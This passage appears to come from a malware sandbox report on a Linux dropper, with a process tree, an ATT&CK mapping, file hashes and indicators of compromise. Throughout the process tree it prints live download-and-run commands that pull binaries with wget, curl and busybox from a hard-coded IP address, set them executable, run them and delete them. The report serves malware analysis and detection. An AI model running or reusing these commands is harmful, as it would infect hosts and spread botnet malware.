  - File and Directory Permissions Modification
  PID:950
- /tmp/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  ./RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - Executes dropped EXE
  PID:951
- /bin/rm
  rm RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  PID:952
- /usr/bin/wget
  wget http://216.126.231.240/bins/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  PID:953
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:954
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  PID:955
- /bin/chmod
  chmod 777 5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - File and Directory Permissions Modification
  PID:956
- /tmp/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  ./5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - Executes dropped EXE
  PID:957
- /bin/rm
  rm 5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  PID:958
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  PID:959
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:960
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  PID:961
- /bin/chmod
  chmod 777 ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - File and Directory Permissions Modification
  PID:962
- /tmp/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  ./ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - Executes dropped EXE
  PID:963
- /bin/rm
  rm ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  PID:964
- /usr/bin/wget
  wget http://216.126.231.240/bins/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  PID:965
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:966
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  PID:967
- /bin/chmod
  chmod 777 gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  - File and Directory Permissions Modification
  PID:968
- /tmp/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  ./gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  - Executes dropped EXE
  PID:969
- /bin/rm
  rm gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  PID:970

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf

Path /tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf	728	yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
/tmp/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN	735	43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
/tmp/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl	742	z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
/tmp/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ	765	7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
/tmp/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf	791	MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
/tmp/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f	807	wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
/tmp/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf	813	yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
/tmp/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj	831	gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
/tmp/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF	854	RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
/tmp/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj	861	5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
/tmp/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG	867	ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
/tmp/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh	873	hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
/tmp/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9	879	kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
/tmp/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn	885	fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
/tmp/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9	891	kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
/tmp/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn	897	fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
/tmp/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh	903	hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
/tmp/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN	909	43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
/tmp/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl	915	z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
/tmp/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ	921	7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
/tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf	927	yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
/tmp/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f	933	wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
/tmp/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf	939	yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
/tmp/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf	945	MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
/tmp/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF	951	RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
/tmp/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj	957	5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
/tmp/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG	963	ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
/tmp/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj	969	gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj